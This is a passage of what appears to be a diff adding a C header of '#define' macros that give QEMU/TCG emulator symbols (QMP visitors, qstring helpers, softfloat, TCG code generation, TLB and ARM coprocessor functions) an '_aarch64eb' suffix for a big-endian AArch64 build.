qmp_input_end_list_aarch64eb +#define qmp_input_end_struct qmp_input_end_struct_aarch64eb +#define qmp_input_get_next_type qmp_input_get_next_type_aarch64eb +#define qmp_input_get_object qmp_input_get_object_aarch64eb +#define qmp_input_get_visitor qmp_input_get_visitor_aarch64eb +#define qmp_input_next_list qmp_input_next_list_aarch64eb +#define qmp_input_optional qmp_input_optional_aarch64eb +#define qmp_input_pop qmp_input_pop_aarch64eb +#define qmp_input_push qmp_input_push_aarch64eb +#define qmp_input_start_implicit_struct qmp_input_start_implicit_struct_aarch64eb +#define qmp_input_start_list qmp_input_start_list_aarch64eb +#define qmp_input_start_struct qmp_input_start_struct_aarch64eb +#define qmp_input_type_bool qmp_input_type_bool_aarch64eb +#define qmp_input_type_int qmp_input_type_int_aarch64eb +#define qmp_input_type_number qmp_input_type_number_aarch64eb +#define qmp_input_type_str qmp_input_type_str_aarch64eb +#define qmp_input_visitor_cleanup qmp_input_visitor_cleanup_aarch64eb +#define qmp_input_visitor_new qmp_input_visitor_new_aarch64eb +#define qmp_input_visitor_new_strict qmp_input_visitor_new_strict_aarch64eb +#define qmp_output_add_obj qmp_output_add_obj_aarch64eb +#define qmp_output_end_list qmp_output_end_list_aarch64eb +#define qmp_output_end_struct qmp_output_end_struct_aarch64eb +#define qmp_output_first qmp_output_first_aarch64eb +#define qmp_output_get_qobject qmp_output_get_qobject_aarch64eb +#define qmp_output_get_visitor qmp_output_get_visitor_aarch64eb +#define qmp_output_last qmp_output_last_aarch64eb +#define qmp_output_next_list qmp_output_next_list_aarch64eb +#define qmp_output_pop qmp_output_pop_aarch64eb +#define qmp_output_push_obj qmp_output_push_obj_aarch64eb +#define qmp_output_start_list qmp_output_start_list_aarch64eb +#define qmp_output_start_struct qmp_output_start_struct_aarch64eb +#define qmp_output_type_bool qmp_output_type_bool_aarch64eb +#define qmp_output_type_int qmp_output_type_int_aarch64eb +#define qmp_output_type_number qmp_output_type_number_aarch64eb +#define qmp_output_type_str qmp_output_type_str_aarch64eb +#define qmp_output_visitor_cleanup qmp_output_visitor_cleanup_aarch64eb +#define qmp_output_visitor_new qmp_output_visitor_new_aarch64eb +#define qobject_decref qobject_decref_aarch64eb +#define qobject_to_qbool qobject_to_qbool_aarch64eb +#define qobject_to_qdict qobject_to_qdict_aarch64eb +#define qobject_to_qfloat qobject_to_qfloat_aarch64eb +#define qobject_to_qint qobject_to_qint_aarch64eb +#define qobject_to_qlist qobject_to_qlist_aarch64eb +#define qobject_to_qstring qobject_to_qstring_aarch64eb +#define qobject_type qobject_type_aarch64eb +#define qstring_append qstring_append_aarch64eb +#define qstring_append_chr qstring_append_chr_aarch64eb +#define qstring_append_int qstring_append_int_aarch64eb +#define qstring_destroy_obj qstring_destroy_obj_aarch64eb +#define qstring_from_escaped_str qstring_from_escaped_str_aarch64eb +#define qstring_from_str qstring_from_str_aarch64eb +#define qstring_from_substr qstring_from_substr_aarch64eb +#define qstring_get_length qstring_get_length_aarch64eb +#define qstring_get_str qstring_get_str_aarch64eb +#define qstring_new qstring_new_aarch64eb +#define qstring_type qstring_type_aarch64eb +#define ram_block_add ram_block_add_aarch64eb +#define ram_size ram_size_aarch64eb +#define range_compare range_compare_aarch64eb +#define range_covers_byte range_covers_byte_aarch64eb +#define range_get_last range_get_last_aarch64eb +#define range_merge range_merge_aarch64eb +#define ranges_can_merge ranges_can_merge_aarch64eb +#define raw_read raw_read_aarch64eb +#define raw_write raw_write_aarch64eb +#define rcon rcon_aarch64eb +#define read_raw_cp_reg read_raw_cp_reg_aarch64eb +#define recip_estimate recip_estimate_aarch64eb +#define recip_sqrt_estimate recip_sqrt_estimate_aarch64eb +#define register_cp_regs_for_features register_cp_regs_for_features_aarch64eb +#define register_multipage register_multipage_aarch64eb +#define register_subpage register_subpage_aarch64eb +#define register_tm_clones register_tm_clones_aarch64eb +#define register_types_object register_types_object_aarch64eb +#define regnames regnames_aarch64eb +#define render_memory_region render_memory_region_aarch64eb +#define reset_all_temps reset_all_temps_aarch64eb +#define reset_temp reset_temp_aarch64eb +#define rol32 rol32_aarch64eb +#define rol64 rol64_aarch64eb +#define ror32 ror32_aarch64eb +#define ror64 ror64_aarch64eb +#define roundAndPackFloat128 roundAndPackFloat128_aarch64eb +#define roundAndPackFloat16 roundAndPackFloat16_aarch64eb +#define roundAndPackFloat32 roundAndPackFloat32_aarch64eb +#define roundAndPackFloat64 roundAndPackFloat64_aarch64eb +#define roundAndPackFloatx80 roundAndPackFloatx80_aarch64eb +#define roundAndPackInt32 roundAndPackInt32_aarch64eb +#define roundAndPackInt64 roundAndPackInt64_aarch64eb +#define roundAndPackUint64 roundAndPackUint64_aarch64eb +#define round_to_inf round_to_inf_aarch64eb +#define run_on_cpu run_on_cpu_aarch64eb +#define s0 s0_aarch64eb +#define S0 S0_aarch64eb +#define s1 s1_aarch64eb +#define S1 S1_aarch64eb +#define sa1100_initfn sa1100_initfn_aarch64eb +#define sa1110_initfn sa1110_initfn_aarch64eb +#define save_globals save_globals_aarch64eb +#define scr_write scr_write_aarch64eb +#define sctlr_write sctlr_write_aarch64eb +#define set_bit set_bit_aarch64eb +#define set_bits set_bits_aarch64eb +#define set_default_nan_mode set_default_nan_mode_aarch64eb +#define set_feature set_feature_aarch64eb +#define set_float_detect_tininess set_float_detect_tininess_aarch64eb +#define set_float_exception_flags set_float_exception_flags_aarch64eb +#define set_float_rounding_mode set_float_rounding_mode_aarch64eb +#define set_flush_inputs_to_zero set_flush_inputs_to_zero_aarch64eb +#define set_flush_to_zero set_flush_to_zero_aarch64eb +#define set_swi_errno set_swi_errno_aarch64eb +#define sextract32 sextract32_aarch64eb +#define sextract64 sextract64_aarch64eb +#define shift128ExtraRightJamming shift128ExtraRightJamming_aarch64eb +#define shift128Right shift128Right_aarch64eb +#define shift128RightJamming shift128RightJamming_aarch64eb +#define shift32RightJamming shift32RightJamming_aarch64eb +#define shift64ExtraRightJamming shift64ExtraRightJamming_aarch64eb +#define shift64RightJamming shift64RightJamming_aarch64eb +#define shifter_out_im shifter_out_im_aarch64eb +#define shortShift128Left shortShift128Left_aarch64eb +#define shortShift192Left shortShift192Left_aarch64eb +#define simple_mpu_ap_bits simple_mpu_ap_bits_aarch64eb +#define size_code_gen_buffer size_code_gen_buffer_aarch64eb +#define softmmu_lock_user softmmu_lock_user_aarch64eb +#define softmmu_lock_user_string softmmu_lock_user_string_aarch64eb +#define softmmu_tget32 softmmu_tget32_aarch64eb +#define softmmu_tget8 softmmu_tget8_aarch64eb +#define softmmu_tput32 softmmu_tput32_aarch64eb +#define softmmu_unlock_user softmmu_unlock_user_aarch64eb +#define sort_constraints sort_constraints_aarch64eb +#define sp_el0_access sp_el0_access_aarch64eb +#define spsel_read spsel_read_aarch64eb +#define spsel_write spsel_write_aarch64eb +#define start_list start_list_aarch64eb +#define stb_p stb_p_aarch64eb +#define stb_phys stb_phys_aarch64eb +#define stl_be_p stl_be_p_aarch64eb +#define stl_be_phys stl_be_phys_aarch64eb +#define stl_he_p stl_he_p_aarch64eb +#define stl_le_p stl_le_p_aarch64eb +#define stl_le_phys stl_le_phys_aarch64eb +#define stl_phys stl_phys_aarch64eb +#define stl_phys_internal stl_phys_internal_aarch64eb +#define stl_phys_notdirty stl_phys_notdirty_aarch64eb +#define store_cpu_offset store_cpu_offset_aarch64eb +#define store_reg store_reg_aarch64eb +#define store_reg_bx store_reg_bx_aarch64eb +#define store_reg_from_load store_reg_from_load_aarch64eb +#define stq_be_p stq_be_p_aarch64eb +#define stq_be_phys stq_be_phys_aarch64eb +#define stq_he_p stq_he_p_aarch64eb +#define stq_le_p stq_le_p_aarch64eb +#define stq_le_phys stq_le_phys_aarch64eb +#define stq_phys stq_phys_aarch64eb +#define string_input_get_visitor string_input_get_visitor_aarch64eb +#define string_input_visitor_cleanup string_input_visitor_cleanup_aarch64eb +#define string_input_visitor_new string_input_visitor_new_aarch64eb +#define strongarm_cp_reginfo strongarm_cp_reginfo_aarch64eb +#define strstart strstart_aarch64eb +#define strtosz strtosz_aarch64eb +#define strtosz_suffix strtosz_suffix_aarch64eb +#define stw_be_p stw_be_p_aarch64eb +#define stw_be_phys stw_be_phys_aarch64eb +#define stw_he_p stw_he_p_aarch64eb +#define stw_le_p stw_le_p_aarch64eb +#define stw_le_phys stw_le_phys_aarch64eb +#define stw_phys stw_phys_aarch64eb +#define stw_phys_internal stw_phys_internal_aarch64eb +#define sub128 sub128_aarch64eb +#define sub16_sat sub16_sat_aarch64eb +#define sub16_usat sub16_usat_aarch64eb +#define sub192 sub192_aarch64eb +#define sub8_sat sub8_sat_aarch64eb +#define sub8_usat sub8_usat_aarch64eb +#define subFloat128Sigs subFloat128Sigs_aarch64eb +#define subFloat32Sigs subFloat32Sigs_aarch64eb +#define subFloat64Sigs subFloat64Sigs_aarch64eb +#define subFloatx80Sigs subFloatx80Sigs_aarch64eb +#define subpage_accepts subpage_accepts_aarch64eb +#define subpage_init subpage_init_aarch64eb +#define subpage_ops subpage_ops_aarch64eb +#define subpage_read subpage_read_aarch64eb +#define subpage_register subpage_register_aarch64eb +#define subpage_write subpage_write_aarch64eb +#define suffix_mul suffix_mul_aarch64eb +#define swap_commutative swap_commutative_aarch64eb +#define swap_commutative2 swap_commutative2_aarch64eb +#define switch_mode switch_mode_aarch64eb +#define switch_v7m_sp switch_v7m_sp_aarch64eb +#define syn_aa32_bkpt syn_aa32_bkpt_aarch64eb +#define syn_aa32_hvc syn_aa32_hvc_aarch64eb +#define syn_aa32_smc syn_aa32_smc_aarch64eb +#define syn_aa32_svc syn_aa32_svc_aarch64eb +#define syn_breakpoint syn_breakpoint_aarch64eb +#define sync_globals sync_globals_aarch64eb +#define syn_cp14_rrt_trap syn_cp14_rrt_trap_aarch64eb +#define syn_cp14_rt_trap syn_cp14_rt_trap_aarch64eb +#define syn_cp15_rrt_trap syn_cp15_rrt_trap_aarch64eb +#define syn_cp15_rt_trap syn_cp15_rt_trap_aarch64eb +#define syn_data_abort syn_data_abort_aarch64eb +#define syn_fp_access_trap syn_fp_access_trap_aarch64eb +#define syn_insn_abort syn_insn_abort_aarch64eb +#define syn_swstep syn_swstep_aarch64eb +#define syn_uncategorized syn_uncategorized_aarch64eb +#define syn_watchpoint syn_watchpoint_aarch64eb +#define syscall_err syscall_err_aarch64eb +#define system_bus_class_init system_bus_class_init_aarch64eb +#define system_bus_info system_bus_info_aarch64eb +#define t2ee_cp_reginfo t2ee_cp_reginfo_aarch64eb +#define table_logic_cc table_logic_cc_aarch64eb +#define target_parse_constraint target_parse_constraint_aarch64eb +#define target_words_bigendian target_words_bigendian_aarch64eb +#define tb_add_jump tb_add_jump_aarch64eb +#define tb_alloc tb_alloc_aarch64eb +#define tb_alloc_page tb_alloc_page_aarch64eb +#define tb_check_watchpoint tb_check_watchpoint_aarch64eb +#define tb_find_fast tb_find_fast_aarch64eb +#define tb_find_pc tb_find_pc_aarch64eb +#define tb_find_slow tb_find_slow_aarch64eb +#define tb_flush tb_flush_aarch64eb +#define tb_flush_jmp_cache tb_flush_jmp_cache_aarch64eb +#define tb_free tb_free_aarch64eb +#define tb_gen_code tb_gen_code_aarch64eb +#define tb_hash_remove tb_hash_remove_aarch64eb +#define tb_invalidate_phys_addr tb_invalidate_phys_addr_aarch64eb +#define tb_invalidate_phys_page_range tb_invalidate_phys_page_range_aarch64eb +#define tb_invalidate_phys_range tb_invalidate_phys_range_aarch64eb +#define tb_jmp_cache_hash_func tb_jmp_cache_hash_func_aarch64eb +#define tb_jmp_cache_hash_page tb_jmp_cache_hash_page_aarch64eb +#define tb_jmp_remove tb_jmp_remove_aarch64eb +#define tb_link_page tb_link_page_aarch64eb +#define tb_page_remove tb_page_remove_aarch64eb +#define tb_phys_hash_func tb_phys_hash_func_aarch64eb +#define tb_phys_invalidate tb_phys_invalidate_aarch64eb +#define tb_reset_jump tb_reset_jump_aarch64eb +#define tb_set_jmp_target tb_set_jmp_target_aarch64eb +#define tcg_accel_class_init tcg_accel_class_init_aarch64eb +#define tcg_accel_type tcg_accel_type_aarch64eb +#define tcg_add_param_i32 tcg_add_param_i32_aarch64eb +#define tcg_add_param_i64 tcg_add_param_i64_aarch64eb +#define tcg_add_target_add_op_defs tcg_add_target_add_op_defs_aarch64eb +#define tcg_allowed tcg_allowed_aarch64eb +#define tcg_canonicalize_memop tcg_canonicalize_memop_aarch64eb +#define tcg_commit tcg_commit_aarch64eb +#define tcg_cond_to_jcc tcg_cond_to_jcc_aarch64eb +#define tcg_constant_folding tcg_constant_folding_aarch64eb +#define tcg_const_i32 tcg_const_i32_aarch64eb +#define tcg_const_i64 tcg_const_i64_aarch64eb +#define tcg_const_local_i32 tcg_const_local_i32_aarch64eb +#define tcg_const_local_i64 tcg_const_local_i64_aarch64eb +#define tcg_context_init tcg_context_init_aarch64eb +#define tcg_cpu_address_space_init tcg_cpu_address_space_init_aarch64eb +#define tcg_cpu_exec tcg_cpu_exec_aarch64eb +#define tcg_current_code_size tcg_current_code_size_aarch64eb +#define tcg_dump_info tcg_dump_info_aarch64eb +#define tcg_dump_ops tcg_dump_ops_aarch64eb +#define tcg_exec_all tcg_exec_all_aarch64eb +#define tcg_find_helper tcg_find_helper_aarch64eb +#define tcg_func_start tcg_func_start_aarch64eb +#define tcg_gen_abs_i32 tcg_gen_abs_i32_aarch64eb +#define tcg_gen_add2_i32 tcg_gen_add2_i32_aarch64eb +#define tcg_gen_add_i32 tcg_gen_add_i32_aarch64eb +#define tcg_gen_add_i64 tcg_gen_add_i64_aarch64eb +#define tcg_gen_addi_i32 tcg_gen_addi_i32_aarch64eb +#define tcg_gen_addi_i64 tcg_gen_addi_i64_aarch64eb +#define tcg_gen_andc_i32 tcg_gen_andc_i32_aarch64eb +#define tcg_gen_and_i32 tcg_gen_and_i32_aarch64eb +#define tcg_gen_and_i64 tcg_gen_and_i64_aarch64eb +#define tcg_gen_andi_i32 tcg_gen_andi_i32_aarch64eb +#define tcg_gen_andi_i64 tcg_gen_andi_i64_aarch64eb +#define tcg_gen_br tcg_gen_br_aarch64eb +#define tcg_gen_brcond_i32 tcg_gen_brcond_i32_aarch64eb +#define tcg_gen_brcond_i64 tcg_gen_brcond_i64_aarch64eb +#define tcg_gen_brcondi_i32 tcg_gen_brcondi_i32_aarch64eb +#define tcg_gen_bswap16_i32 tcg_gen_bswap16_i32_aarch64eb +#define tcg_gen_bswap32_i32 tcg_gen_bswap32_i32_aarch64eb +#define tcg_gen_callN tcg_gen_callN_aarch64eb +#define tcg_gen_code tcg_gen_code_aarch64eb +#define tcg_gen_code_common tcg_gen_code_common_aarch64eb +#define tcg_gen_code_search_pc tcg_gen_code_search_pc_aarch64eb +#define tcg_gen_concat_i32_i64 tcg_gen_concat_i32_i64_aarch64eb +#define tcg_gen_debug_insn_start tcg_gen_debug_insn_start_aarch64eb +#define tcg_gen_deposit_i32 tcg_gen_deposit_i32_aarch64eb +#define tcg_gen_exit_tb tcg_gen_exit_tb_aarch64eb +#define tcg_gen_ext16s_i32 tcg_gen_ext16s_i32_aarch64eb +#define tcg_gen_ext16u_i32 tcg_gen_ext16u_i32_aarch64eb +#define tcg_gen_ext32s_i64 tcg_gen_ext32s_i64_aarch64eb +#define tcg_gen_ext32u_i64 tcg_gen_ext32u_i64_aarch64eb +#define tcg_gen_ext8s_i32 tcg_gen_ext8s_i32_aarch64eb +#define tcg_gen_ext8u_i32 tcg_gen_ext8u_i32_aarch64eb +#define tcg_gen_ext_i32_i64 tcg_gen_ext_i32_i64_aarch64eb +#define tcg_gen_extu_i32_i64 tcg_gen_extu_i32_i64_aarch64eb +#define tcg_gen_goto_tb tcg_gen_goto_tb_aarch64eb +#define tcg_gen_ld_i32 tcg_gen_ld_i32_aarch64eb +#define tcg_gen_ld_i64 tcg_gen_ld_i64_aarch64eb +#define tcg_gen_ldst_op_i32 tcg_gen_ldst_op_i32_aarch64eb +#define tcg_gen_ldst_op_i64 tcg_gen_ldst_op_i64_aarch64eb +#define tcg_gen_movcond_i32 tcg_gen_movcond_i32_aarch64eb +#define tcg_gen_movcond_i64 tcg_gen_movcond_i64_aarch64eb +#define tcg_gen_mov_i32 tcg_gen_mov_i32_aarch64eb +#define tcg_gen_mov_i64 tcg_gen_mov_i64_aarch64eb +#define tcg_gen_movi_i32 tcg_gen_movi_i32_aarch64eb +#define tcg_gen_movi_i64 tcg_gen_movi_i64_aarch64eb +#define tcg_gen_mul_i32 tcg_gen_mul_i32_aarch64eb +#define tcg_gen_muls2_i32 tcg_gen_muls2_i32_aarch64eb +#define tcg_gen_mulu2_i32 tcg_gen_mulu2_i32_aarch64eb +#define tcg_gen_neg_i32 tcg_gen_neg_i32_aarch64eb +#define tcg_gen_neg_i64 tcg_gen_neg_i64_aarch64eb +#define tcg_gen_not_i32 tcg_gen_not_i32_aarch64eb +#define tcg_gen_op0 tcg_gen_op0_aarch64eb +#define tcg_gen_op1i tcg_gen_op1i_aarch64eb +#define tcg_gen_op2_i32 tcg_gen_op2_i32_aarch64eb +#define tcg_gen_op2_i64 tcg_gen_op2_i64_aarch64eb +#define tcg_gen_op2i_i32 tcg_gen_op2i_i32_aarch64eb +#define tcg_gen_op2i_i64 tcg_gen_op2i_i64_aarch64eb +#define tcg_gen_op3_i32 tcg_gen_op3_i32_aarch64eb +#define tcg_gen_op3_i64 tcg_gen_op3_i64_aarch64eb +#define tcg_gen_op4_i32 tcg_gen_op4_i32_aarch64eb +#define tcg_gen_op4i_i32 tcg_gen_op4i_i32_aarch64eb +#define tcg_gen_op4ii_i32 tcg_gen_op4ii_i32_aarch64eb +#define tcg_gen_op4ii_i64 tcg_gen_op4ii_i64_aarch64eb +#define tcg_gen_op5ii_i32 tcg_gen_op5ii_i32_aarch64eb +#define tcg_gen_op6_i32 tcg_gen_op6_i32_aarch64eb +#define tcg_gen_op6i_i32 tcg_gen_op6i_i32_aarch64eb +#define tcg_gen_op6i_i64 tcg_gen_op6i_i64_aarch64eb +#define tcg_gen_orc_i32 tcg_gen_orc_i32_aarch64eb +#define tcg_gen_or_i32 tcg_gen_or_i32_aarch64eb +#define tcg_gen_or_i64 tcg_gen_or_i64_aarch64eb +#define tcg_gen_ori_i32 tcg_gen_ori_i32_aarch64eb +#define tcg_gen_qemu_ld_i32 tcg_gen_qemu_ld_i32_aarch64eb +#define tcg_gen_qemu_ld_i64 tcg_gen_qemu_ld_i64_aarch64eb +#define tcg_gen_qemu_st_i32 tcg_gen_qemu_st_i32_aarch64eb +#define tcg_gen_qemu_st_i64 tcg_gen_qemu_st_i64_aarch64eb +#define tcg_gen_rotl_i32 tcg_gen_rotl_i32_aarch64eb +#define tcg_gen_rotli_i32 tcg_gen_rotli_i32_aarch64eb +#define tcg_gen_rotr_i32 tcg_gen_rotr_i32_aarch64eb +#define tcg_gen_rotri_i32 tcg_gen_rotri_i32_aarch64eb +#define tcg_gen_sar_i32 tcg_gen_sar_i32_aarch64eb +#define tcg_gen_sari_i32 tcg_gen_sari_i32_aarch64eb +#define tcg_gen_setcond_i32 tcg_gen_setcond_i32_aarch64eb +#define tcg_gen_shl_i32 tcg_gen_shl_i32_aarch64eb +#define tcg_gen_shl_i64 tcg_gen_shl_i64_aarch64eb +#define tcg_gen_shli_i32 tcg_gen_shli_i32_aarch64eb +#define tcg_gen_shli_i64 tcg_gen_shli_i64_aarch64eb +#define tcg_gen_shr_i32 tcg_gen_shr_i32_aarch64eb +#define tcg_gen_shifti_i64 tcg_gen_shifti_i64_aarch64eb +#define tcg_gen_shr_i64 tcg_gen_shr_i64_aarch64eb +#define tcg_gen_shri_i32 tcg_gen_shri_i32_aarch64eb +#define tcg_gen_shri_i64 tcg_gen_shri_i64_aarch64eb +#define tcg_gen_st_i32 tcg_gen_st_i32_aarch64eb +#define tcg_gen_st_i64 tcg_gen_st_i64_aarch64eb +#define tcg_gen_sub_i32 tcg_gen_sub_i32_aarch64eb +#define tcg_gen_sub_i64 tcg_gen_sub_i64_aarch64eb +#define tcg_gen_subi_i32 tcg_gen_subi_i32_aarch64eb +#define tcg_gen_trunc_i64_i32 tcg_gen_trunc_i64_i32_aarch64eb +#define tcg_gen_trunc_shr_i64_i32 tcg_gen_trunc_shr_i64_i32_aarch64eb +#define tcg_gen_xor_i32 tcg_gen_xor_i32_aarch64eb +#define tcg_gen_xor_i64 tcg_gen_xor_i64_aarch64eb +#define tcg_gen_xori_i32 tcg_gen_xori_i32_aarch64eb +#define tcg_get_arg_str_i32 tcg_get_arg_str_i32_aarch64eb +#define tcg_get_arg_str_i64 tcg_get_arg_str_i64_aarch64eb +#define tcg_get_arg_str_idx tcg_get_arg_str_idx_aarch64eb +#define tcg_global_mem_new_i32 tcg_global_mem_new_i32_aarch64eb +#define tcg_global_mem_new_i64 tcg_global_mem_new_i64_aarch64eb +#define tcg_global_mem_new_internal tcg_global_mem_new_internal_aarch64eb +#define tcg_global_reg_new_i32 tcg_global_reg_new_i32_aarch64eb +#define tcg_global_reg_new_i64 tcg_global_reg_new_i64_aarch64eb +#define tcg_global_reg_new_internal tcg_global_reg_new_internal_aarch64eb +#define tcg_handle_interrupt tcg_handle_interrupt_aarch64eb +#define tcg_init tcg_init_aarch64eb +#define tcg_invert_cond tcg_invert_cond_aarch64eb +#define tcg_la_bb_end tcg_la_bb_end_aarch64eb +#define tcg_la_br_end tcg_la_br_end_aarch64eb +#define tcg_la_func_end tcg_la_func_end_aarch64eb +#define tcg_liveness_analysis tcg_liveness_analysis_aarch64eb +#define tcg_malloc tcg_malloc_aarch64eb +#define tcg_malloc_internal tcg_malloc_internal_aarch64eb +#define tcg_op_defs_org tcg_op_defs_org_aarch64eb +#define tcg_opt_gen_mov tcg_opt_gen_mov_aarch64eb +#define tcg_opt_gen_movi tcg_opt_gen_movi_aarch64eb +#define tcg_optimize tcg_optimize_aarch64eb +#define tcg_out16 tcg_out16_aarch64eb +#define tcg_out32 tcg_out32_aarch64eb +#define tcg_out64 tcg_out64_aarch64eb +#define tcg_out8 tcg_out8_aarch64eb +#define tcg_out_addi tcg_out_addi_aarch64eb +#define tcg_out_branch tcg_out_branch_aarch64eb +#define tcg_out_brcond32 tcg_out_brcond32_aarch64eb +#define tcg_out_brcond64 tcg_out_brcond64_aarch64eb +#define tcg_out_bswap32 tcg_out_bswap32_aarch64eb +#define tcg_out_bswap64 tcg_out_bswap64_aarch64eb +#define tcg_out_call tcg_out_call_aarch64eb +#define tcg_out_cmp tcg_out_cmp_aarch64eb +#define tcg_out_ext16s tcg_out_ext16s_aarch64eb +#define tcg_out_ext16u tcg_out_ext16u_aarch64eb +#define tcg_out_ext32s tcg_out_ext32s_aarch64eb +#define tcg_out_ext32u tcg_out_ext32u_aarch64eb +#define tcg_out_ext8s tcg_out_ext8s_aarch64eb +#define tcg_out_ext8u tcg_out_ext8u_aarch64eb +#define tcg_out_jmp tcg_out_jmp_aarch64eb +#define tcg_out_jxx tcg_out_jxx_aarch64eb +#define tcg_out_label tcg_out_label_aarch64eb +#define tcg_out_ld tcg_out_ld_aarch64eb +#define tcg_out_modrm tcg_out_modrm_aarch64eb +#define tcg_out_modrm_offset tcg_out_modrm_offset_aarch64eb +#define tcg_out_modrm_sib_offset tcg_out_modrm_sib_offset_aarch64eb +#define tcg_out_mov tcg_out_mov_aarch64eb +#define tcg_out_movcond32 tcg_out_movcond32_aarch64eb +#define tcg_out_movcond64 tcg_out_movcond64_aarch64eb +#define tcg_out_movi tcg_out_movi_aarch64eb +#define tcg_out_op tcg_out_op_aarch64eb +#define tcg_out_pop tcg_out_pop_aarch64eb +#define tcg_out_push tcg_out_push_aarch64eb +#define tcg_out_qemu_ld tcg_out_qemu_ld_aarch64eb +#define tcg_out_qemu_ld_direct tcg_out_qemu_ld_direct_aarch64eb +#define tcg_out_qemu_ld_slow_path tcg_out_qemu_ld_slow_path_aarch64eb +#define tcg_out_qemu_st tcg_out_qemu_st_aarch64eb +#define tcg_out_qemu_st_direct tcg_out_qemu_st_direct_aarch64eb +#define tcg_out_qemu_st_slow_path tcg_out_qemu_st_slow_path_aarch64eb +#define tcg_out_reloc tcg_out_reloc_aarch64eb +#define tcg_out_rolw_8 tcg_out_rolw_8_aarch64eb +#define tcg_out_setcond32 tcg_out_setcond32_aarch64eb +#define tcg_out_setcond64 tcg_out_setcond64_aarch64eb +#define tcg_out_shifti tcg_out_shifti_aarch64eb +#define tcg_out_st tcg_out_st_aarch64eb +#define tcg_out_tb_finalize tcg_out_tb_finalize_aarch64eb +#define tcg_out_tb_init tcg_out_tb_init_aarch64eb +#define tcg_out_tlb_load tcg_out_tlb_load_aarch64eb +#define tcg_out_vex_modrm tcg_out_vex_modrm_aarch64eb +#define tcg_patch32 tcg_patch32_aarch64eb +#define tcg_patch8 tcg_patch8_aarch64eb +#define tcg_pcrel_diff tcg_pcrel_diff_aarch64eb +#define tcg_pool_reset tcg_pool_reset_aarch64eb +#define tcg_prologue_init tcg_prologue_init_aarch64eb +#define tcg_ptr_byte_diff tcg_ptr_byte_diff_aarch64eb +#define tcg_reg_alloc tcg_reg_alloc_aarch64eb +#define tcg_reg_alloc_bb_end tcg_reg_alloc_bb_end_aarch64eb +#define tcg_reg_alloc_call tcg_reg_alloc_call_aarch64eb +#define tcg_reg_alloc_mov tcg_reg_alloc_mov_aarch64eb +#define tcg_reg_alloc_movi tcg_reg_alloc_movi_aarch64eb +#define tcg_reg_alloc_op tcg_reg_alloc_op_aarch64eb +#define tcg_reg_alloc_start tcg_reg_alloc_start_aarch64eb +#define tcg_reg_free tcg_reg_free_aarch64eb +#define tcg_reg_sync tcg_reg_sync_aarch64eb +#define tcg_set_frame tcg_set_frame_aarch64eb +#define tcg_set_nop tcg_set_nop_aarch64eb +#define tcg_swap_cond tcg_swap_cond_aarch64eb +#define tcg_target_callee_save_regs tcg_target_callee_save_regs_aarch64eb +#define tcg_target_call_iarg_regs tcg_target_call_iarg_regs_aarch64eb +#define tcg_target_call_oarg_regs tcg_target_call_oarg_regs_aarch64eb +#define tcg_target_const_match tcg_target_const_match_aarch64eb +#define tcg_target_init tcg_target_init_aarch64eb +#define tcg_target_qemu_prologue tcg_target_qemu_prologue_aarch64eb +#define tcg_target_reg_alloc_order tcg_target_reg_alloc_order_aarch64eb +#define tcg_temp_alloc tcg_temp_alloc_aarch64eb +#define tcg_temp_free_i32 tcg_temp_free_i32_aarch64eb +#define tcg_temp_free_i64 tcg_temp_free_i64_aarch64eb +#define tcg_temp_free_internal tcg_temp_free_internal_aarch64eb +#define tcg_temp_local_new_i32 tcg_temp_local_new_i32_aarch64eb +#define tcg_temp_local_new_i64 tcg_temp_local_new_i64_aarch64eb +#define tcg_temp_new_i32 tcg_temp_new_i32_aarch64eb +#define tcg_temp_new_i64 tcg_temp_new_i64_aarch64eb +#define tcg_temp_new_internal tcg_temp_new_internal_aarch64eb +#define tcg_temp_new_internal_i32 tcg_temp_new_internal_i32_aarch64eb +#define tcg_temp_new_internal_i64 tcg_temp_new_internal_i64_aarch64eb +#define tdb_hash tdb_hash_aarch64eb +#define teecr_write teecr_write_aarch64eb +#define teehbr_access teehbr_access_aarch64eb +#define temp_allocate_frame temp_allocate_frame_aarch64eb +#define temp_dead temp_dead_aarch64eb +#define temps_are_copies temps_are_copies_aarch64eb +#define temp_save temp_save_aarch64eb +#define temp_sync temp_sync_aarch64eb +#define tgen_arithi tgen_arithi_aarch64eb +#define tgen_arithr tgen_arithr_aarch64eb +#define thumb2_logic_op thumb2_logic_op_aarch64eb +#define ti925t_initfn ti925t_initfn_aarch64eb +#define tlb_add_large_page tlb_add_large_page_aarch64eb +#define tlb_flush_entry tlb_flush_entry_aarch64eb +#define tlbi_aa64_asid_is_write tlbi_aa64_asid_is_write_aarch64eb +#define tlbi_aa64_asid_write tlbi_aa64_asid_write_aarch64eb +#define tlbi_aa64_vaa_is_write tlbi_aa64_vaa_is_write_aarch64eb +#define tlbi_aa64_vaa_write tlbi_aa64_vaa_write_aarch64eb +#define tlbi_aa64_va_is_write tlbi_aa64_va_is_write_aarch64eb +#define tlbi_aa64_va_write tlbi_aa64_va_write_aarch64eb +#define tlbiall_is_write tlbiall_is_write_aarch64eb +#define tlbiall_write tlbiall_write_aarch64eb +#define tlbiasid_is_write tlbiasid_is_write_aarch64eb +#define tlbiasid_write tlbiasid_write_aarch64eb +#define tlbimvaa_is_write tlbimvaa_is_write_aarch64eb +#define tlbimvaa_write tlbimvaa_write_aarch64eb +#define tlbimva_is_write tlbimva_is_write_aarch64eb +#define tlbimva_write tlbimva_write_aarch64eb +#define tlb_is_dirty_ram tlb_is_dirty_ram_aarch64eb +#define tlb_protect_code tlb_protect_code_aarch64eb +#define tlb_reset_dirty_range tlb_reset_dirty_range_aarch64eb +#define tlb_reset_dirty_range_all tlb_reset_dirty_range_all_aarch64eb +#define tlb_set_dirty tlb_set_dirty_aarch64eb +#define tlb_set_dirty1 tlb_set_dirty1_aarch64eb +#define tlb_unprotect_code_phys tlb_unprotect_code_phys_aarch64eb +#define tlb_vaddr_to_host tlb_vaddr_to_host_aarch64eb +#define token_get_type token_get_type_aarch64eb +#define token_get_value token_get_value_aarch64eb +#define token_is_escape token_is_escape_aarch64eb +#define token_is_keyword token_is_keyword_aarch64eb +#define token_is_operator token_is_operator_aarch64eb +#define tokens_append_from_iter tokens_append_from_iter_aarch64eb +#define to_qiv to_qiv_aarch64eb +#define to_qov to_qov_aarch64eb +#define tosa_init tosa_init_aarch64eb +#define tosa_machine_init tosa_machine_init_aarch64eb +#define tswap32 tswap32_aarch64eb +#define tswap64 tswap64_aarch64eb +#define type_class_get_size type_class_get_size_aarch64eb +#define type_get_by_name type_get_by_name_aarch64eb +#define type_get_parent type_get_parent_aarch64eb +#define type_has_parent type_has_parent_aarch64eb 